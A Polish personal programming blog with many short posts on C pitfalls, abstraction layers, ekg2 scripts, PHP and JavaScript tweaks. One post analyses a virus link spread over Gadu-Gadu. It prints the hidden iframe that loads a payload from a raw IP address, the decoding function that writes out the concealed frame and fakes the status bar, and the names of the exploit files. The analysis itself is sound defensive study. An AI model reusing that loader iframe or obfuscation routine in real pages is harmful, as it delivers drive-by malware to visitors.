Michał Moroz

Abecadło smoczątka, dziennik niecodzienny

Językowe skojarzenia

Wytypowany przez Adama i ja przedstawię swoje skojarzenia związane z różnistymi językami programowania. A co. ;)

Język Skojarzenie pozytywne Skojarzenie negatywne
PHP Wszędzie działa, podobny do C PHP wewnątrz HTML.
Java Azureus, długo go używałem http://bash.org.pl/5/
C Ładnie wygląda w vimie; avr-gcc (struct sockaddr *)&dest_addr
C++ Przeciążanie operatorów. Jego wygląd w vimie zdecydowanie mi się nie podoba.
D Jest razem z gcc-4 char array[char []], dopiero się rozwija.
Ruby Twitter Przez te łączne 10 minut w moim życiu, w których oglądałem ten kod, wydał się dość egzotyczny.
Python DJ Ango Krotka?
Perl Regexpy Golf na pl.comp.lang.perl, sygnaturki niektórych osób, kiedy jeszcze siedziałem w Usenecie. :)
Javascript jQuery Miniatury stron wyskakujące po najechaniu przypadkiem na jakiś link.
Assembler int main = 12828721; A spróbuj tylko zapomnieć...

Następnymi będą: Michał Gawron i Mateusz Papiernik.

Zobacz komentarze Trackback dodajdo.com Zobacz pełne metadane

Pamiętaj o rozmiarze bufora w C

... czyli jak mała literówka może stać się źródłem poważnego problemu.

Na sam początek - mam procesor na architekturze x86 i gcc 4.1.2, nie ręczę za to, że na innych program przedstawiony poniżej będzie tak samo działać. U mnie i u mojego przyjaciela jednak właśnie tak było.

Przyjaciel mój odezwał się do mnie z problemami ze swoim programem sortującym. Po małym połataniu kodu, natrafiliśmy na nieskończoną pętlę, która w tym kodzie wystąpić nie miała prawa, a jednak w jakiś sposób wystąpiła. W feralnej pętli przy każdej iteracji zmienna iteratora miała stałą wartość, pomimo dekrementacji wykonywanej na niej za każdym razem. Co więc nadpisywało zmienną? Wyobraźmy sobie taki przykład:

#include <stdio.h>
int main() {

        int arr[2];
        int a, b, c, d, i;

        for(i = 0; i < 6; i++)
                arr[i] = i;

        printf("%d %d %d %d\n", a, b, c, d);

        return 0;
}

Po skompilowaniu i uruchomieniu:

dragonee@hikari ~/dev 12:50:13 $ ./a.out
2 3 4 5
dragonee@hikari ~/dev 12:50:16 $

Wyjście poza tablicę nadpisuje następne zmienne. Nieprzyjemna sprawa, bo w ten sposób możemy przepisać te zmienne, które będą niezbędne do działania kodu. Albo trafimy dokłanie w taki punkt, który skończy się nieskończoną pętlą. Segmentation fault w tym przypadku wydaie się najprzyjemniejszym zakończeniem tego programu, bo od razu będziemy wiedzieć, że coś niedobrego z pamięcią się dzieje.

Niestety, my natrafiliśmy na nieskończoną pętlę. Zmienna iteracyjna była pierwszą po tablicy, a wartość, którą wpisywaliśmy do iteratora w tablicy wskazywała dokładnie na iterator. Dzięki temu mimo dekrementacji nic się nie zmieniało, a program działał i działał i działał...

Aby wszystko zadziałało, wystarczyło zwiększyć tylko rozmiar tablicy o 1 element. Na co trafiliśmy po godzinie wpatrywania się w 50 linii kodu.

Zobacz komentarze Trackback dodajdo.com Zobacz pełne metadane

drukujf

Wątek na pl.rec.humor.najlepsze jako pomysł.

better.c
#define calkow int
#define glowna main
#define zwroc return
#include <stdio.h>

#define drukujf printf

calkow glowna()
{
        drukujf("Witaj swiecie!\n");
        zwroc 0;
}

Kompilujemy! ;)

$ gcc better.c
$ ./a.out
Witaj swiecie!
$

Bpnmsp.

Zobacz komentarze Trackback dodajdo.com Zobacz pełne metadane

Myślenie warstwowe

We wpisie “Programistyczna kanapka, czyli wprowadzenie do warstw abstrakcji” wymieniłem możliwości płynące z projektowania warstwowego. Dziś skupię się na metodach, dzięki którym łatwo będzie nam tworzyć nowe projekty w tym trybie.

Wyobraź sobie warstwę

Warstwa abstrakcji charakteryzuje się tym, że nie zależy od innego kodu. W wolnym tłumaczeniu oznacza to mniej więcej tyle, że możesz wydzielić ją spośród kodu i korzystać z jej możliwości w innym środowisku.

Doskonałym przykładem na zobrazowanie powyższego jest system operacyjny. Jeżeli potraktować go jako pojedynczą, wielką warstwę abstrakcji, daje nam ogromną zaletę - nie musimy zastanawiać się, w jaki sposób zapisuje się plik na dysku, a jak w pamięci USB Flash, aby go zapisać. Jednocześnie projektant aplikacji nie musi obsługiwać procesora ręcznie, aby napisać kolejny edytor tekstu. A jeśli chcemy posłuchać muzyki, nie patrzymy na zapis nutowy piosenki i nie próbujemy zagrać go na instrumencie (mimo to polecam), a wrzucamy mptrójkę na listę odtwarzania i nie martwimy się, że ta mptrójka nie wie, jaki typ karty dźwiękowej posiadamy.

Komputer składa się ze sprzętu, zer i jedynek. Dziś jednak odnotowuję, że moja klawiatura nie ma dwóch klawiszy. A przecież tyle by wystarczyło, aby komunikować się z komputerem. Więc po co ich tyle?

Aby upraszczać. Tak samo, jak komunikacja za pomocą zer i jedynek była dla ówczesnych naukowców bardzo niewygodna, tak dzisiejsza klawiatura łacińska i zestaw klawiszy pozwala mi pisać ten tekst, abym nie potrzebował sprawdzać, jak prezentuje się poszczególna litera w zapisie bitowym. Czyli jakiś miły i mądry człowiek wprowadził zamianę liter na bity (a więc i nową warstwę abstrakcji), abym ja nie musiał się męczyć, używając dwóch klawiszy.

Podmień swą kanapkę na realny problem

Problem pierwszy - zapis danych

Każdy program od czegoś się zaczyna. Tym czymś w prawie każdym przypadku jest wczytanie danych. Wczytanie danych różni się w zależności od tego, skąd je wczytujemy i jak je chcemy wykorzystać. Do tego dochodzi ich zapis - w jakiś sposób chcemy przecież odzyskać przetworzone dane z naszego programu.

Przypuśćmy, że operujemy jednym, prostym typem danych, pochodzącym z kilku źródeł. Źródłem może być najzwyczajniejszy plik, baza danych, czy odległy serwer, z którym komunikujemy się poprzez sieć. Wszystkie te źródła wykazują jedną cechę wspólną. Nadal zapisywane do nich i odczytywane z nich są dane tego samego rodzaju.

Jedno z rozwiązań pozwala wbudować obsługę wszystkiego w główny kod, ale co, jeśli zapragniemy wykonywać podprogram przekazując mu te dane? Nagle okaże się, że wprowadzenie wszystkich potrzebnych zmian stanie się dość niewygodne. Nie dość, że będziemy musieli dodać naszą funkcjonalność w kilku miejscach, to na dodatek będziemy poprawiać wszystkie funkcje sprawdzające, aby uznały nową metodę za poprawną.

Spróbujmy inaczej. Dla każdego ze źródeł zdefiniujmy ten sam zestaw metod. W naszym przykładzie będzie to: zapisz i wczytaj. Zapisowi przekażemy porcję danych, od operacji wczytania będziemy wymagać porcji danych. Teraz stworzymy funkcję, która będzie odpowiedzialna za pobieranie wszystkich danych, niezależnie od źródła. W niej to odniesiemy się do poszczególnych “wczytaj”. Zwracać będzie całkowite dane gotowe do przetwarzania. Dla globalnej funkcji zapisania podamy przetworzone dane z listą celów, do których powinny się one udać. Funkcja ta będzie odwoływać się do odpowiedniej podfunkcji “zapisz”, zależnie od celu.

W tym wypadku część przetwarzająca nie będzie musiała zastanawiać się, jak zapisać dane, a całość kodu odpowiedzialnego za wczytywanie i zapis danych wewnątrz niej skróci się do oczekiwanych kilku linijek. Dodanie nowej funkcjonalności nie będzie dla nas trudne, a jeśli w kodzie warstwy abstrakcji stworzymy wykrywacz nowych funkcjonalności, to i tego kodu nie będziemy musieli zmieniać.

Problem drugi - interfejs

Dobrym pomysłem, aby przeprowadzić szybkie testy na nowej funkcjonalności jest usunięcie jak największej ilości niepotrzebnych bajerów i uruchomienie jej w minimalnej konfiguracji. Wtedy jesteśmy w stanie precyzyjniej określić problem i rozprawić się z nim szybciej.

Inaczej - tworzymy narzędzie X. Narzędzie X jest domyślnie w trybie okienkowym, bo tak ładniej i klikalniej. Po pewnym czasie potrzebujemy wersji konsolowej, bo możemy odpalić X w skrypcie i ustawić automatyczne uruchamianie co jakiś czas.

Jeszcze inaczej - narzędzie tworzymy pod biblioteką graficzną X, która nie jest dostępna na systemie Y, na którym pracuje nasz przyjaciel i właśnie pisze, że bardzo przydałoby mu się nasze narzędzie...

Rozwiązaniem na to jest użycie warstwy abstrakcji. Jądro aplikacji przestanie się martwić o wyświetlanie okienka, a Ty zbudujesz tyle interfejsów, ile zechcesz.

Inne przykłady

Używanie pluginów łączy się z warstwami abstrakcji - każdy z nich może zwiększyć możliwości naszego programu, a wszystkie korzystają z jednego zestawu funkcji.

Korzystanie z kilku podobnych struktur (na przykład kolejki i stosu) można łatwo uprościć tworząc odpowiednie funkcje, które będą pobierać obiekty ze struktur niezależnie od tego, o którą poprosisz.

Rozszerzanie działania aktualnie istniejących obiektów. Taka niedokładna, nieprzemyślana, lub błędna (#) alokacja pamięci w języku C często kończy się wyciekami pamięci, czy, w gorszym przypadku podwójnym zwolnieniem, lub używaniem niezaalokowanej pamięci. Zestaw funkcji, które sprawdzałyby te problemy, w mniejszym, czy w większym stopniu zabezpieczyłyby program, szczególnie ten w wersji rozwojowej.

Wniosek

Zakładając, że dany kod będziemy (my lub inni) rozwijać, warto jest wykorzystać ideę warstwy abstrakcji. Jeśli nie przydadzą się one nam, to osobom, która będą korzystać z naszego programu kiedyś.

Zobacz komentarze Trackback dodajdo.com Zobacz pełne metadane

GTK+/mtrace

Wraz z kolegą przygotowujemy sobie treningowo (a zarazem na zaliczenie) kalkulator. Podzieliliśmy się w ten sposób, że ja projektuję rdzeń (przetwarzanie ONP, ładowanie pluginów z funkcjami róznego rodzaju i takie tam bajery) i opiekuję się projektem (poznając autotoolsy), a on robi interfejs graficzny używając GTK+ 2.x i Glade.

Nadeszła już faza projektu odpowiednia na poważne programowanie GUI (patrz - rdzeń w większości działa, a Google potwierdza wyniki) i powoli, powoli zaczyna się budowa tegoż interfejsu.

Aktualnie udało nam się scalić kawałek okienka z rdzeniem i po wpisaniu wyrażenia w TextEdit i naciśnięciu przycisku się oblicza.

Chcąc sprawdzić, czy są memleaki, skorzystałem z funkcji mtrace, dzięki której automagicznie można sprawdzić, czy gdzieś nie cieknie.

$ MALLOC_TRACE="./mtrace.log" ./wyswtekstu
$ ls -l mtrace.log
-rw-r--r-- 1 dragonee dragonee 10951417 gru  4 23:41 mtrace.log

Samo wypluwanie wyjścia komendy mtrace, która przetwarza powyższy log i wyświetla adresy pamięci, które nie zostały zwolnione, zabrało mi jakąś minutę.

Zastanawiam się teraz, czy GTK+ tak ma, czy to tylko niezapisanie jakiejś magicznej komendy czyszczącej...

Zobacz komentarze Trackback dodajdo.com Zobacz pełne metadane

Programistyczna kanapka, czyli wprowadzenie do warstw abstrakcji

Pomysłów na kanapkę jest wiele. Aby nadać jej odpowiedni smak, możemy posłużyć się ogromem składników. Mimo to, większość z nas, tworząc własną kanapkę korzysta z tych samych zasad, podyktowanych głównie przez eksperymenty i zdrowy rozsądek. Wymieńmy je:

  1. Na spodzie kładziemy chleb, lub wyrób chlebopodobny. Chociażby dlatego, że pomniejsze składniki na samej ręce nie będą chciały zbytnio się utrzymać.
  2. W środku kładziemy główny składnik (w znakomitej większości jeden, dość rzadko - dwa, większa ich ilość jest pomijalna).
  3. Na górze dodajemy warzywa i przyprawy, które nadal potrafią odmienić wielce smak tej samej kanapki z głównym składnikiem. Dodatkowo, zapewniają one wizualizację zaplanowanego przez nas wyglądu idealnej kanapki.

Schemat na budowę kanapki wydaje się prosty, jednak dzięki niemu możemy stworzyć zadziwiającą ilość kombinacji. Dojdziemy także do wniosku, że ten schemat właściwie nas nie ogranicza.

Po zaprogramowaniu i zjedzeniu kanapki oraz umyciu rąk, siadamy przed monitorem i zastanawiamy się, jak stworzyć jakiś program. Paradoksalna sytuacja, skoro przed chwilą bez zastanowienia projektowaliśmy w ten sam sposób. Dojście do najprostszych rozwiązań, choć tak popularnych i naturalnych, zawsze bywa kłopotliwe.

Z wiedzą o zależności kanapki i programu, możemy się zabrać za sensowne go tworzenie. Postawmy sobie następujące założenia:

  1. Chcemy zminimalizować czas potrzebny na poprawianie błędów w programie.
  2. Chcemy, aby nasz program dawało się rozwijać bez jakiejś skomplikowanej ingerencji w dotychczasowy kod. Implikując, chcemy go rozwijać.
  3. Nie chcemy, aby kod był duplikowany.

W tym wypadku, sensowne wydaje się użycie warstw abstrakcji. Co możemy dzięki nim zyskać?

  1. Przejrzystość i czytelność kodu - wymuszone naszymi założeniami.
  2. Pewność, że nie będziemy naruszali spójności całego programu, zmieniając lub dopasowując właściwości danego komponentu.
  3. Znacznie mniej koniecznej dokumentacji do zrozumienia działania programu.
  4. Elastyczność w dodawaniu nowych funkcji - chyba największa zaleta warstwowego podejścia do programowania.
  5. Możliwość używania kodu z wcześniejszych projektów bądź łatwo dostępnego w sieci bez konieczności przepisywania jego połowy w celu przystosowania do programu.

Następnym razem - jak przygotować się mentalnie do programowania warstwowego.

Zobacz komentarze Trackback dodajdo.com Zobacz pełne metadane

Linki w ekg2

Korzystanie z linków przesyłanych do ekg2, szczególnie, jeśli komunikator uruchomiliśmy na serwerze i łączymy się z nim poprzez ssh, jest dość niewygodnym zadaniem. O ile korzystając z iksowego terminala możemy zaznaczyć i przekopiować linka (bądź skorzystać z natywnej obsługi w gnome-terminal, czy modyfikacji rxvt), to przy używaniu komunikatora poprzez framebuffer console (czy ma to określenie jakąś polską nazwę?) musielibyśmy przepisywać linki ręcznie, a nie o to nam chodzi.

Z pomocą przyjdzie nam jak zwykle Python, w którym napiszemy prosty wykrywacz przesyłanych nam linków, oraz program urlview napisany przez Michaela Elkinsa, który pozwoli wyświetlić je w banalnie prostym interfejsie opartym na ncurses i uruchomić je za pomocą dowolnej przeglądarki.

Skrypcik znajdzie się tutaj - wszystko co robi, to sprawdzanie za pomocą prostego wyrażenia regularnego, czy w danej wiadomości znajduje się link; jeśli tak, zapisuje go do ~/.ekg2/links.

Następnie edytujemy plik ~/.urlview i wpisujemy tam sposób uruchamiania naszej najlepszej przeglądarki:

Opera (na workstacji):
COMMAND opera -newpage %s
Elinks (na serwerze):
COMMAND elinks %s

Ustawienia te są przykładowe - dla elinksa możnaby postarać się o uruchamianie przeglądarki w nowym oknie screena, o ile nie jest już uruchomiona, w przeciwnym przypadku otwierać tylko nową kartę.

urlview ma jedną, bardzo wielką zaletę - żaden wyświetlony w nim link się nie powtarza - więc gdy dostaniesz dziesięć powiadomień na Joggera, w programie zobaczysz nadal tylko jeden link.

Teraz już wystarczy uruchomić odpowiednie polecenia:

Aby uruchomić urlview na workstacji:
$ ssh serwer cat ~/.ekg2/links | urlview
Aby uruchomić urlview na serwerze:
$ urlview ~/.ekg2/links

Wypadało by także co pewnien czas, na przykład co tydzień lub co miesiąc czyścić plik ~/.ekg2/links.

Zobacz komentarze Trackback dodajdo.com Zobacz pełne metadane

Wsparcie dla Meebo me w ekg2

Kilka dni temu, Piotr Konieczny opisał komunikator internetowy, oparty na sieci Jabber, z interfejsem w postaci strony www. Nie byłoby w tym nic dziwnego, gdyby nie dwa rozwiązania, niespotykane na innych serwerach. Istnieje możliwość transportu innych jabberowych kontaktów. Jest także widżet o nazwie Meebo me, który umieszczony na stronie www, staje się anonimowym klientem Jabbera, oferującym szybki kontakt z posiadaczem konta Meebo.

Korzystając z komunikatora Meebo, autoryzacja tych kontaktów odbywa się automagicznie, i można niezwykle prosto porozumieć się z nimi. Ale wymaga to otwartej karty przeglądarki. Korzystając z innych komunikatorów1, sprawa już nie wygląda tak prosto. Każdy kontakt trzeba ręcznie zautoryzować, co jest męczące przy większej popularności Twojej strony.

W ekg2, prawdopodonie najlepiej programowalnym komunikatorze obsługującym sieć Jabber, całą czynność da się zautomatyzować. Właśnie dlatego powstał projekt meebome-ekg2.

Skrypt co dziesięć sekund sprawdza, czy pojawił się nowy kontakt, którego serwerem jest guest.meebo.org. Jeśli tak, autoryzuje go i dodaje do listy jako GuestX, gdzie X to pierwszy niezajęty numer. Następnie, jeśli kontakt ten staje się niedostępny, usuwa go z listy. Oczywiście, cała operacja nie narusza innych kontaktów. Bardzo wygodne.

Przykład działania skryptu, zmniejszony

Więcej informacji można znaleźć w pliku README.

  • 1 Aby dodać kontakt Meebo do listy kontaktów w innym komunikatorze, należy użyć JID: login@meebo.org, oraz zezwolić na przesyłanie nieszyfrowanego hasła (ang. allow plaintext logins).
Zobacz komentarze Trackback dodajdo.com Zobacz pełne metadane

Do zapamiętania

Jeden. Nie stosuj object.setAttribute('style', 'costam');, aby ustalać styl obiektu, skoro możesz się odwołać poprzez object.style.

Dwa. Pamiętaj koniecznie, żeby nie stawiać średnika, odwołując się poprzez object.style, tak jak w tym przykładzie: object.style.property = "1em;". Internet Explorer nie akceptuje tego.

Trzy. Gdy już wstawiasz jakiś kod na serwer, licz się z możliwością wydania większej ilości wersji niż jedna i od razu zrób tam odpowiedni folder. Dodatkowo, genialne polecenie ln potrafi czynić cuda. Możemy zrobić dowiązanie do aktualnej wersji kodu (ln -s project-wersja.ext project-current.ext), a kiedy wyprodukujemy następną, zmieniamy tylko to dowiązanie. Zyskamy na wyszukiwaniu i poprawianiu wszystkich linków, które do tego miejsca prowadzą.

Zobacz komentarze Trackback dodajdo.com Zobacz pełne metadane

ekg2-20060123 (ekg reaktywacja)

Jeżeli wybrałeś akurat tą paczkę na instalację, tutaj znajdziesz patch, dzięki któremu plugin ncurses w ogóle chce się skompilować. Inna sprawa, że nie musi to działać na wszystkich architekturach. SOA#1. ;)

Na x86 i Ubuntu Hoary'm działa. Na Mandrivie znów coś z perlem nie chce współpracować. Ale perl nie jest mi niezbędny. Poza tym na Mdv przeprowadzałem tylko testowe kompilacje, ekg2 tam nie używam.

Update: Niedziałający perl to tylko wynik mojego niedopatrzenia. Poza tym wersja z CVS kompiluje się poprawnie i zawiera plik ekg/char.h (potrzebny do obsługi Unikodu, nadal w fazie eksperymentalnej), którego to tak brakowało w feralnej paczce.

Update 2: Nie tylko w niej. ekg2-20060124 także wykazuje brak wspomnianego pliku. Wygląda na to, że trzeba będzie zgłosić to na ekg2-devel, jak radzi Zdzichu.

Zobacz komentarze Trackback dodajdo.com Zobacz pełne metadane

Programista po przejściach

Zainspirowane rozmową z rozbitem.

#include <stdlib.h>

int main()
{
        exit(1); /* bo zupa była za słona */
}

Zobacz komentarze Trackback dodajdo.com Zobacz pełne metadane

Z jednolinijkowców baszowych

Prosty skrypt do rozpakowywania zzipowanych plików, których autorzy nie pomyśleli o udogodnieniu, jakim jest wrzucanie plików do jednego katalogu przed spakowaniem. Wymaga, aby nazwy nie posiadały w sobie ,,.''.

Aby kod nie wyjeżdżał poza stronę, został połamany. Ale spokojnie daje się go użyć w jednej linii. Kto powiedział, że tylko Perliści mogą? :)

for x in *.zip;
do
dir=$(echo "$x" | cut -d . -f 1) 
&& mkdir "$dir"
&& unzip -d "$dir" "$x"
&& rm -f "$x";
done

Są jakieś lepsze/prostsze sposoby na wycięcie rozszerzenia bez bawienia się w regexpy?

Zobacz komentarze Trackback dodajdo.com Zobacz pełne metadane

Bdąg. Reboot. Ekg2 i dźwięki.

Wreszcie wyklepałem sobie serwer i udającego, że mu się udaje, klienta. Serwer działa w bardzo prosty sposób - demonizuje się, akceptuje masowo klientów, czyta z rurki fifo to, co do niej napisano i śle to klientom. Klient reaguje na razie na jedno polecenie i jest bardzo kaleki w swoim działaniu. Ale chyba wreszcie będzie okazja, żeby pouczyć się trochę o buforach kołowych.

Po co mi to? No cóż - nie mam nie miałem dźwięku w ekg2. Po pierwsze - przyznam się, ale nie pamiętam, jaki układ leży na płycie głównej, a system nie chce go wykryć. Po drugie - i tak nie mam zewnętrznego miksera audio, a wejście LineIn karty na workstacji jest zajęte przez wyjście tunera tivi (który, żeby bardziej pomieszać również jest kartą). Zamiast kombinować, co by tu zrobić, poszedłem na łatwiznę i przypomniałem sobie co nieco o gniazdkach i demonach.

A dziś, dwie godziny i jakieś czterdzieści minut temu, nastała nowa epoka. Ktoś wyłączył prąd i poprzednia, pięćdziesięciodniowa zakończyła się w tragiczny sposób. Szkoda.

Patrzę na ten tekst - jakiś strasznie niezrozumiały dla normalnego zjadacza chleba jest. Starzeję się, przestaję być przenośny.

Zobacz komentarze Trackback dodajdo.com Zobacz pełne metadane

O, grudzień

Wczoraj na myśli mojej, dzięki wpisowi d4rky'ego były fistaszki. Dziś mama moja, nic nie wiedząc o tym, kupiła chyba ich z kilogram. Telepatia?

Akordy do The Mars Volta - The Widow są bardzo ciekawe, jeszcze nigdy nie grałem tych Am/B Am/C i Am/D. Ale sądzę, że po godzinie wprawy pójdzie dalej lekko. Proste, ładne i przyjemne. Jak zwykle przekonuję się, że na trzech akordach można właściwie wszystko. ;]

Grudzień już. Jak ten czas szybko leci. Tak... nienaturalnie jakoś. Ale zostaje chociaż chwila na robienie tego, co się lubi: aktualnie czytania, programowania, słuchania muzyki i grania jej czasem na gitarze i Jeskola Buzz. Leniuchowania też.

Dziś poznałem algorytm Dijkstry, ale wydaje mi się, że przyda się go jeszcze raz przypomnieć i powtórzyć samemu. Poza tym mamy napisać do grudnia jakieś małe boty do Robocode i przed świętami przeprowadzimy sobie bitwę. Z wyników OI się nie ma co chwalić, mimo to dobrze, że wziąłem udział. Chyba spodobało mi się. Kod szablonów pseudo-joggerowych też działa, ale średnia wykonania wynosi ok. 0,1s (z wykonaniem zapytań i takimi tam, zobaczę, jak to będzie na serwerze leżeć). Ładny, ale pewnie dałoby się jeszcze coś usprawnić. Nie chce mi się. ;)

Zobacz komentarze Trackback dodajdo.com Zobacz pełne metadane

Co zrobiłem, a co nie - bilans ostatnich dwóch dni

Jeden. Pisałem, że PHP ssie. Wreszcie ruszyłem do przodu z moimi podbojami tego języka i doszedłem do wniosku, że PCRE nie zostało zaprojektowane zbyt fortunnie, nadal zawiera kilka błędów, skutecznie utrudniających pracę. Na przykład: Niemożność użycia back references w patternie dla preg_replace. Lub zmuszanie do niezrozumiałego przeze mnie użycia nawiasów okrągłych (inaczej regexp nie zadziała). Mimo to mój prosty kod generujący strony w oparciu o szablony podobne do joggerowych jako tako działa, będę musiał jeszcze posprawdzać czasy wykonania. I przerobić po raz następny skrypty mojej strony. Możliwe też, żeby dorobić jakieś małe API. Nie chce mi się za każdym razem kopiować tego samego. W wolnej chwili może wystawię kod, bo w końcu taki zły nie jest. :)

Dwa. Zmusiłem mój skrypt javaskryptowy do działania w Internet Explorerze, dzięki czemu pozwoliłem sobie na zmianę wersji szablonu na 1.5pre1. Ostatniego błędu szukałem dobre dwadzieścia minut, okazało się, że skoro na stronie jest już element o id='toc', to nie wolno używać na nim getElementById(). Szczerze powiem, że chyba nigdy bym na to nie wpadł. Mimo to, jednak nie wszystko wygląda tak, jak powinno. Na oko IE nie pokazuje niektórych divów lub nie wyświetla ich css'a. Niestety, nie mogę określić, o co dokładnie chodzi, bo nie ma (albo nic o tym nie wiem) żadnego wyświetlania struktury drzewa DOM, przez co mogę jedynie się domyślać przyczyn.

Trzy. Właściwie niezbyt jest czym się chwalić, ale skoro już siedziałem na tym ze dwie godzinki, to chociaż się zareklamuję. :) Expert. Utwór Potwór jest w formacie ogg.

Cztery. Może niedługo ruszy coś z JeMeNem. Projekt stoi już od bardzo długiego czasu, ale wydaje nam się (mnie i Zimnemu) że jednak warto się zabrać za coś takiego, chociażby dla przyjemności. Tak więc możliwe, że coś kiedyś w końcu... I to chyba wszystko, czym się zajmowałem przez ostatnie dwa dni.

Zobacz komentarze Trackback dodajdo.com Zobacz pełne metadane

Mieszane uczucia vs programowanie

A wygląda to tak.

Z jednej strony ciekawe zagadnienie, nad którym trzeba mocno pogłówkować, które zajmie trochę czasu, mimo to będę strasznie usatysfakcjonowany z poprawnego i w miarę szybkiego rozwiązania. Sponsoruje: Pragnienie Wiedzy.

Z drugiej strony program, nad którym bedzie trzeba siedzieć kilka godzin, aby wykryć i poprawić jeden logiczny błąd lub coś usprawnić, wszystko wszakże polega na wymyśleniu jednego, poprawnego algorytmu. Sponsoruje: Lenistwo.

Klasyczny dylemat - postawa 'Ja chcę jeszcze raz' kontra postawa 'Pier****, nie robię'.

Filozofując, przy ciastku nad zadaniami z tegorocznej Olimpiady Informatycznej, /me.

Zobacz komentarze Trackback dodajdo.com Zobacz pełne metadane

PHP ssie

Pełen chęci, z pomysłem i zacięciem zabrałem się do pisania w PHP. I przyszło oświecenie...

replacement

The string or an array with strings to replace. If this parameter is a string and the pattern parameter is an array, all pattens will be replaced by that string. If both pattern and replacement parameters are arrays, each pattern will be replaced by the replacement counterpart. If there are less keys in the replacement array than in the pattern array, the excedent patterns will be replaced by an empty string.

Źródło.

To... To nie umie ruszać funkcji? Nie!

Oczywiście, znalazłem po sekundzie funkcję preg_replace_callback. Tylko, że jej sposób przekazywania danych zupełnie mi nie pasuje. Całkowicie. Nie wiem nawet, czy dałoby się przekazać dane poprzez \\1, \\2, które byłyby bardzo przydatne, inaczej musiałbym jeszcze raz przepuszczać to przez preg_*.

A miało być tak pięknie...

Przy okazji nie jestem pewien zachowania kilku innych rzeczy...

Apdejt: Jednak nie wszystko stracone.

Apdejt 2: Problem jest, ale w innym miejscu, niż się spodziewałem. Wygląda na to, że w preg_replace nie można wstawiać \\1 do pattern, dzięki czemu poszukiwanie /<data:(\S+)>(.*?)<\/data:\\1>/e nie chce zadziałać w żaden sposób. Na razie to jest główny problem, sądzę, że głębiej w kodzie znajduje się kilka innych niedoróbek, albo i poważnych błędów. Jeszcze do tego jednak nie dotarłem. Muszę najwierw spróbować obejść tą niedogodność.

Zobacz komentarze Trackback dodajdo.com Zobacz pełne metadane

Firefox i Tiny.pl

Poproszony przez Rozbita zacząłem kombinować, jak tu by zautomatyzować obsługę tiny.pl. Już myślałem, że trzeba będzie kombinować z postem, albo autoklikiem na formularzu, gdy wpadło mi w oko to. Teraz to już luzik, nie ma problemu, żeby wykorzystać. Lekko poprawiona wersja tego kodu wygląda tak (bez <pre>, bo potem wyszłaby długaśna linijka kodu, nieprzyjemna do przeklejania).

Skrptozakładka.

Tak przygotowany kod wklejamy jako źródło zakładki. Z tak przygotowanego linka robimy sobie zakładkę (u mnie leży ona sobie w Folderze zakładek osobistych) i używamy do woli. Można przekleić link lub odpalić stronę, a skrypt sam skorzysta z document.href.

I już. :)

Zobacz komentarze Trackback dodajdo.com Zobacz pełne metadane

Uwaga wirus

No tak... doszło do tego, że siedzę w niedzielę i bawię się w rozgrzebywanie kodu wirusów.

Jeden z moich znajomych powiedział mi, że ten link prowadzi do wirusa, a pewna osoba podająca się jako Marta spamuje nim poprzez gadu (numer 9523477, możliwe też, że 9512753 i 7778035, chociaż mnie nie wysłano linka). Nie miałem nic do roboty, wiec zacząłem sprawdzać jak to działa.

Sama strona nie korzysta z jakiegoś bardzo oryginalnego sposobu - używa <iframe>.

Kod ładujący kolejną stronę:
<iframe src="http://85.255.113.4/dl/adv435.php" width=1 height=1>

Po wejściu na następną stronę w dole przeglądarki (Firefox) pokazuje się informacja o ładowaniu apletu. Zaglądając w źródło możemy dostrzec długaśny ciąg tekstowy zaszyfrowany w dość prosty sposób. Otóż znajduje się tam deklaracja funkcji przepuszczona poprzez escape() i faktyczny kod ramki zaszyfrowany przez tą funkcję.

Po krótkiej zabawie udało mi się rozkodować funkcję:
function dF(s)
{
	var s1 = unescape(s.substr(0, s.length - 1));
	var t='';
	for(i=0; i<s1.length; i++)	{
		t += String.fromCharCode(s1.charCodeAt(i) - s.substr(s.length - 1,1));
	}
	document.write(unescape(t));
	self.focus();
	setInterval("window.status='Google.com'",7);
}

Wystarczyło teraz zmienić < na &lt; aby wyświetlić kod strony w przeglądarce.

Wydaje mi się, że w tym miejscu znajduje się pięć potencjalnych zagrożeń - kursor o nazwie sploit.anr, obiekt x2, obiekt x3, aplet loaderadv435.jar oraz obiekt x.chm. Nie jestem jednak MVP i nie znam się aż tak głęboko na dziurach w Windows. Dlatego skończę w tym miejscu. Jeśli czegoś się dowiem, to dopiszę.

Zobacz komentarze Trackback dodajdo.com Zobacz pełne metadane

Jogger tweak

Po przeczytaniu wpisów Pimp My Jogger na blogu Riddle'a oraz Favikonki przy podpisach na blogu Pawła Ciupaka również skłoniłem się do ulepszania jogga poprzez różne ficzery.

Rozbudowałem nieco skrypt tworzący permalinki do komentarzy. Dobudowałem boczne menu i przechowywanie informacji o obejrzanych i nieobejrzanych komentarzach. Niestety, kod nie jest zbyt przenośny - większość musiałem napisać konkretnie pod moją konstrukcję szablonu. Ale ktoś znający się na rzeczy nie powinien mieć zadnych problemów z przeniesieniem tego do siebie.

O ile ktoś jednak chciałby zastosować to u siebie - podaję techniczne dane.

Table Of Comments, wersja ohohoho, albo i mniejsza - specyfikacja.
W szablonie komentarzy wstawiamy skrypt w sekcji head.
<script type="text/javascript" src="/custom/dragonee/files/commlink-toc.js"></script>
Tag <COMMENT_NICK/> musi być oznaczony następującym tagiem:
<tag class="commentNick"><COMMENT_NICK/></tag>
W podobny sposób oznaczamy miejsce, za którym mają zostać dodane permalinki:
<tag class="commhead"> zawartość </tag>
Następnie w dowolnym miejscu wstawiamy sobie znacznik div:
<div id="toc"></div>
Kod w powyższym divie generuje drzewko o takim wyglądzie:
<div class="tocmenu">
	<div id="oldcomm" class="menuitem">
		<div class="items">
			<a>
	<div id="newcomm" class="menuitem">
		<div class="items">
			<a>
Ciasteczka wyglądają tak:
name = eid
value = ilość komentarzy
expires = 7 dni

To chyba wszystko, co warto wiedzieć, aby skrypt poprawnie zadziałał. I tak będę pewnie jeszcze kilka razy poprawiać, aby uzyskać większą przyjazność dla uzytkownika. ;]

Apdejt: Już widzę, co pierwsze do poprawki - użyć jakiegoś tekstu zastępczego w przypadku braku komentarzy.

Apdejt 2: Poprawiłem błąd z pustym menu przy braku komentarzy. Teraz się zupełnie nie wyświetla w tym przypadku. Dodatkowo wszelkie klasy i identyfikatory umieściłem w zmiennych na początku skryptu, tak więc dopasowywanie będzie odrobinę prostsze. Na razie nie będę opisywać zmiennych - sądzę, że da się wywnioskować ich przeznaczenie z powyższej specyfikacji.

Tak z zupełnie innej beczki - Polska Żeńska Siatkarska Reprezentacyja ma już na pewno srebrny medal. :D

Zobacz komentarze Trackback dodajdo.com Zobacz pełne metadane

Wystawiam szablon

